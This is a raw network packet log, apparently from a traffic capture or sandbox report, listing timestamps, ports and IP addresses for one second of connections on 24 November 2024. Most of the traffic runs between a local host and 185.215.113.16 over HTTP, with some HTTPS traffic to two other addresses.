Nov 24, 2024 19:12:04.320749044 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.320858002 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.320928097 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.432154894 CET	443	49784	162.159.61.3	192.168.2.8
Nov 24, 2024 19:12:04.432231903 CET	443	49784	162.159.61.3	192.168.2.8
Nov 24, 2024 19:12:04.432321072 CET	49784	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:12:04.435383081 CET	443	49782	162.159.61.3	192.168.2.8
Nov 24, 2024 19:12:04.435446024 CET	443	49782	162.159.61.3	192.168.2.8
Nov 24, 2024 19:12:04.435621977 CET	49782	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:12:04.458097935 CET	443	49783	162.159.61.3	192.168.2.8
Nov 24, 2024 19:12:04.458194971 CET	443	49783	162.159.61.3	192.168.2.8
Nov 24, 2024 19:12:04.458251953 CET	49783	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:12:04.501900911 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.501987934 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.502002954 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.502052069 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.504707098 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.504826069 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.504827023 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.504870892 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.510312080 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.510452032 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.512330055 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.512408018 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.512418032 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.512548923 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.517934084 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.517995119 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.518049955 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.518096924 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.523570061 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.523629904 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.523648024 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.523701906 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.529757023 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.529809952 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.529880047 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.530062914 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.535759926 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.535795927 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.535845041 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.535896063 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.540611982 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.540668964 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.540720940 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.540772915 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.545984030 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.546019077 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.546050072 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.546063900 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.551465034 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.551529884 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.551579952 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.551629066 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.557085991 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.557167053 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.557199955 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.557244062 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.562712908 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.562832117 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.562835932 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.563049078 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.568252087 CET	49781	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:12:04.568279028 CET	443	49781	162.159.61.3	192.168.2.8
Nov 24, 2024 19:12:04.568295002 CET	49780	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:12:04.568310976 CET	443	49780	162.159.61.3	192.168.2.8
Nov 24, 2024 19:12:04.568320990 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.568337917 CET	49782	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:12:04.568344116 CET	443	49782	162.159.61.3	192.168.2.8
Nov 24, 2024 19:12:04.568380117 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.568404913 CET	49784	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:12:04.568404913 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.568420887 CET	443	49784	162.159.61.3	192.168.2.8
Nov 24, 2024 19:12:04.568450928 CET	49783	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:12:04.568458080 CET	443	49783	162.159.61.3	192.168.2.8
Nov 24, 2024 19:12:04.568496943 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.568994999 CET	49842	443	192.168.2.8	52.182.143.211
Nov 24, 2024 19:12:04.569025040 CET	443	49842	52.182.143.211	192.168.2.8
Nov 24, 2024 19:12:04.569091082 CET	49842	443	192.168.2.8	52.182.143.211
Nov 24, 2024 19:12:04.569412947 CET	49842	443	192.168.2.8	52.182.143.211
Nov 24, 2024 19:12:04.569427013 CET	443	49842	52.182.143.211	192.168.2.8
Nov 24, 2024 19:12:04.574014902 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.574083090 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.574115992 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.574166059 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.579678059 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.579797983 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.579863071 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.585140944 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.585200071 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.585206032 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.585242987 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.590807915 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.590859890 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.590890884 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.590904951 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.596287012 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.596347094 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.596365929 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.596524954 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.601875067 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.601924896 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.601982117 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.713517904 CET	443	49838	52.182.143.211	192.168.2.8
Nov 24, 2024 19:12:04.713788033 CET	49838	443	192.168.2.8	52.182.143.211
Nov 24, 2024 19:12:04.713804960 CET	443	49838	52.182.143.211	192.168.2.8
Nov 24, 2024 19:12:04.714150906 CET	443	49838	52.182.143.211	192.168.2.8
Nov 24, 2024 19:12:04.714541912 CET	49838	443	192.168.2.8	52.182.143.211
Nov 24, 2024 19:12:04.714606047 CET	443	49838	52.182.143.211	192.168.2.8
Nov 24, 2024 19:12:04.714754105 CET	49838	443	192.168.2.8	52.182.143.211
Nov 24, 2024 19:12:04.714827061 CET	49838	443	192.168.2.8	52.182.143.211
Nov 24, 2024 19:12:04.714855909 CET	443	49838	52.182.143.211	192.168.2.8
Nov 24, 2024 19:12:04.736306906 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.736428976 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.736448050 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.736480951 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.738611937 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.738672018 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.738709927 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.738797903 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.742223024 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.742276907 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.742276907 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.742321968 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.746778965 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.746838093 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.746932983 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.746994972 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.751422882 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.751481056 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.751678944 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.751741886 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.756086111 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.756155014 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.756170988 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.756201029 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.760648012 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.760705948 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.760749102 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.760797977 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.765280962 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.765327930 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.765378952 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.765378952 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.769893885 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.769962072 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.770009041 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.770062923 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.774523020 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.774579048 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.774580002 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.774713993 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.779186010 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.779221058 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.779251099 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.779263973 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.783742905 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.783807993 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.783889055 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.783976078 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.788383007 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.788448095 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.788496971 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.788547993 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.791122913 CET	443	49839	52.182.143.211	192.168.2.8
Nov 24, 2024 19:12:04.791409969 CET	49839	443	192.168.2.8	52.182.143.211
Nov 24, 2024 19:12:04.791423082 CET	443	49839	52.182.143.211	192.168.2.8
Nov 24, 2024 19:12:04.791868925 CET	443	49839	52.182.143.211	192.168.2.8
Nov 24, 2024 19:12:04.792191029 CET	49839	443	192.168.2.8	52.182.143.211
Nov 24, 2024 19:12:04.792289972 CET	443	49839	52.182.143.211	192.168.2.8
Nov 24, 2024 19:12:04.792378902 CET	49839	443	192.168.2.8	52.182.143.211
Nov 24, 2024 19:12:04.792452097 CET	49839	443	192.168.2.8	52.182.143.211
Nov 24, 2024 19:12:04.792471886 CET	443	49839	52.182.143.211	192.168.2.8
Nov 24, 2024 19:12:04.792968988 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.793010950 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.793066978 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.797662973 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.797722101 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.797878981 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.797930956 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.802242994 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.802297115 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.802297115 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.802378893 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.806972027 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.807005882 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.807027102 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.807056904 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.809011936 CET	443	49785	162.159.61.3	192.168.2.8
Nov 24, 2024 19:12:04.809072018 CET	443	49785	162.159.61.3	192.168.2.8
Nov 24, 2024 19:12:04.809139013 CET	49785	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:12:04.811450005 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.811510086 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.811582088 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.811657906 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.816086054 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.816159010 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.816204071 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.816255093 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.820688963 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.820754051 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.820790052 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.820832014 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.825253963 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.825310946 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.825354099 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.825397968 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.830156088 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.830208063 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.830255985 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.830302954 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.834467888 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.834546089 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.834574938 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.834624052 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.839090109 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.839216948 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.839262962 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.839308023 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.866372108 CET	443	49787	162.159.61.3	192.168.2.8
Nov 24, 2024 19:12:04.866436005 CET	443	49787	162.159.61.3	192.168.2.8
Nov 24, 2024 19:12:04.866487980 CET	49787	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:12:04.866822004 CET	443	49786	162.159.61.3	192.168.2.8
Nov 24, 2024 19:12:04.866883039 CET	443	49786	162.159.61.3	192.168.2.8
Nov 24, 2024 19:12:04.867033005 CET	49786	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:12:04.870583057 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.870621920 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.870646954 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.870671034 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.872716904 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.872770071 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.872818947 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.877330065 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.877455950 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.877509117 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.877520084 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.882179976 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.882235050 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.882302999 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.882349014 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.886686087 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.886746883 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.886814117 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.886874914 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.891155005 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.891223907 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.891275883 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.891371965 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.961781025 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.961873055 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.962661982 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.962721109 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.962769032 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.962816954 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.967305899 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.967365980 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.969830036 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.969867945 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.969904900 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.969934940 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.974330902 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.974378109 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.974391937 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.974421978 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.978971958 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.979020119 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.979032993 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.979062080 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.983603001 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.983653069 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.983716965 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.988168001 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.988229036 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.988245964 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.988420963 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.992731094 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.992778063 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.992837906 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.992877960 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.997335911 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.997400999 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.997420073 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.997462034 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.001951933 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.002028942 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.002180099 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.002235889 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.006633043 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.006690025 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.006707907 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.006782055 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.011962891 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.012027979 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.012037992 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.012093067 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.017224073 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.017272949 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.017283916 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.017314911 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.022197962 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.022227049 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.022277117 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.026559114 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.026622057 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.026637077 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.026674986 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.030886889 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.030930042 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.030944109 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.030972004 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.035358906 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.035409927 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.035449028 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.035496950 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.039963961 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.040164948 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.040215015 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.044042110 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.044095039 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.044111967 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.044161081 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.046998978 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.047070980 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.047126055 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.050506115 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.050558090 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.050597906 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.050637007 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.053190947 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.053265095 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.053284883 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.053298950 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.056570053 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.056617022 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.056701899 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.056809902 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.059859991 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.059912920 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.059915066 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.059954882 CET	49837	80	192.168.2.8	185.215.113.16
